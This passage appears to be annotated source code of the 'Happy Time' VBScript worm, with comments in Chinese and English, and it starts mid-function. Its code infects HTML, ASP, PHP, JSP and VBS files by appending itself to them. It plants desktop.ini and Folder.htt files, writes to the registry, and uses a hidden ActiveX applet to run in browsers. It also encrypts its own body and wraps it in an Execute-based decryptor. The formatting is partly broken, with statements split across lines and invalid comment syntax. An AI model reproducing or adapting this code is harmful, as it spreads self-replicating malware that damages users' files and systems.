ȡ

新欢乐时光源代码

For i=1 to 5 

DiskDegree = KJOboSub(DiskDegree) 
KJummageFolder(DiskDegree) 

Next 

WsShell.RegWrite RegPathValue,DiskDegree 

End Function 

--------------------------------------------------------------------
Function KJummageFolder(PathName) 

On Error Resume Next 

Set FolderName = FSO.GetFolder(PathName) 

Set ThisFiles = FolderName.Files 

HttExists = 0 

For Each ThisFile In ThisFiles
     FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) 
  If FileExt = "HTM" 
     Or FileExt = "HTML"
       Or FileExt = "ASP" 
         Or FileExt = "PHP" 
            Or FileExt = "JSP"  
     Then Call KJAppendTo(ThisFile.Path,"html") 
    
     ElseIf FileExt = "VBS" 
           Then Call KJAppendTo(ThisFile.Path,"vbs") 
    
     ElseIf FileExt = "HTT" 
            Then HttExists = 1 
  End If 

Next 

   If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))
      Then HttExists = 1 
   End If 

   If HttExists = 0 
      Then FSO.CopyFile WinPath & "system32\desktop.ini",PathName 
           FSO.CopyFile WinPath & "web\Folder.htt",PathName 
   End If 

End Function 

------------------------------------------------------------------------
Function KJSetDim() 

On Error Resume Next 

Err.Clear 

TestIt = WScript.ScriptFullname 

  If Err 
     Then InWhere = "html" 
     Else InWhere = "vbs" 
  End If 

  If InWhere = "vbs" 
     Then Set FSO = CreateObject("Scripting.FileSystemObject") 
          Set WsShell = CreateObject("WScript.Shell") 
  Else 
       Set AppleObject = document.applets("KJ_guest") 
           AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") 
           AppleObject.createInstance() 
       
       Set WsShell = AppleObject.GetObject() 
           AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") 
           AppleObject.createInstance() 
       
       Set FSO = AppleObject.GetObject() 
  End If 
  
Set DiskObject=FSO.Drives
For Each DiskTemp In DiskObject 
         If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 
            Then Exit For 
         End If 
    FinalyDisk = DiskTemp.DriveLetter  //使FinalyDisk为最后的一个物理盘符
Next 

//Function ShowDriveType(drvpath)
//   Dim fso, d, t
//   Set fso = CreateObject("Scripting.FileSystemObject")
//   Set d = fso.GetDrive(drvpath)
//   Select Case d.DriveType
//      Case 0: t = "Unknown"
//      Case 1: t = "Removable"
//      Case 2: t = "Fixed"
//      Case 3: t = "Network"
//      Case 4: t = "CD-ROM"
//      Case 5: t = "RAM Disk"
//  End Select
//   ShowDriveType = "Drive " & d.DriveLetter & ": - " & t
//End Function

// Function ShowDriveLetter(drvPath)
//   Dim fso, d, s
//   Set fso = CreateObject("Scripting.FileSystemObject")
//   Set d = fso.GetDrive(fso.GetDriveName(drvPath))
//   s = "Drive " & d.DriveLetter & ": - " 
//   s = s & d.VolumeName & "<BR>"
//   s = s & "Free Space: " & FormatNumber(d.FreeSpace/1024, 0) 
//   s = s & " Kbytes"
//   ShowDriveLetter = s
// End Function


//下面的是生成乱码的代码//

Dim OtherArr(3) 
Randomize                 //Initialize random-number generator 初始化随机数生成器

For i=0 To 3 

OtherArr(i) = Int((9 * Rnd))    //“Rnd”:为随机生成的数

//  To produce random integers in a given range, use this formula: 
//  Int((upperbound - lowerbound + 1) * Rnd + lowerbound)
//  Here, upperbound is the highest number in the range, and lowerbound is the lowest number in the range

Next 

TempString = "" 

For i=1 To Len(ThisText)       //对Thistext进行加密的程序

TempNum = Asc(Mid(ThisText,i,1)) 

If TempNum = 13 
   Then TempNum = 28 
ElseIf 
   TempNum = 10 
   Then TempNum = 29 
End If 

TempChar = Chr(TempNum - OtherArr(i Mod 4)) //“Mod”:Divides two numbers and returns only the remainder.

If TempChar = Chr(34) 
   Then TempChar = Chr(18) 
End If 
TempString = TempString & TempChar  //ThisText 变成了TempString

Next 



UnLockStr = "Execute("            //解密程序
"Dim KeyArr(3),ThisText""
&
vbCrLf
&
""KeyArr(0) = " 
& 
OtherArr(0) 
& """
&
vbCrLf
&
""KeyArr(1) = " & OtherArr(1) &"""
&vbCrLf
&
""KeyArr(2) = " & OtherArr(2) & """
&
vbCrLf
&
""KeyArr(3) = " & OtherArr(3) & """
&
vbCrLf
&
""For i=1 To Len(ExeString)""
&
vbCrLf
&
""TempNum = Asc(Mid(ExeString,i,1))""
&
vbCrLf
&
""If TempNum = 18 Then""
&
vbCrLf
&
""TempNum = 34""
&
vbCrLf
&
""End If""
&
vbCrLf
&
""TempChar = Chr(TempNum + KeyArr(i Mod 4))""
&
vbCrLf
&
""If TempChar = Chr(28) Then""
&
vbCrLf
&
""TempChar = vbCr""
&
vbCrLf
&
""ElseIf TempChar = Chr(29) Then""
&
vbCrLf
&
""TempChar = vbLf""
&
vbCrLf
&
""End If""
&
vbCrLf
&
""ThisText = ThisText & TempChar""
&
vbCrLf
&
""Next	"")" 
& 
vbCrLf 
& 
"Execute(ThisText)" 
ThisText = "ExeString = """ & TempString & """"  //
--------------------------------------------------------------------------------
HtmlText ="<" & "script language=vbscript>" & 
vbCrLf & 
"document.write" & """" &
"<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & 
"<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<"&"/APPLET>" &
"<" & "/div>""" 
& 
vbCrLf 
& "<" & "/script>" 
& 
vbCrLf 
& "<" & "script language=vbscript>" 
& 
vbCrLf 
& 
ThisText 
& 
vbCrLf 
& 
UnLockStr 
& 
vbCrLf 
& "<" & "/script>" 
& vbCrLf 
& "<" & "/BODY>" 
& 
vbCrLf 
& "<" & "/HTML>"
----------------------------------------------------------------------------------
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()" 

WinPath = FSO.GetSpecialFolder(0) & "\" 

If (FSO.FileExists(WinPath & "web\Folder.htt")) 
   Then FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif" 
End If 

If (FSO.FileExists(WinPath & "system32\desktop.ini")) 
   Then FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif" 
End If 

End Function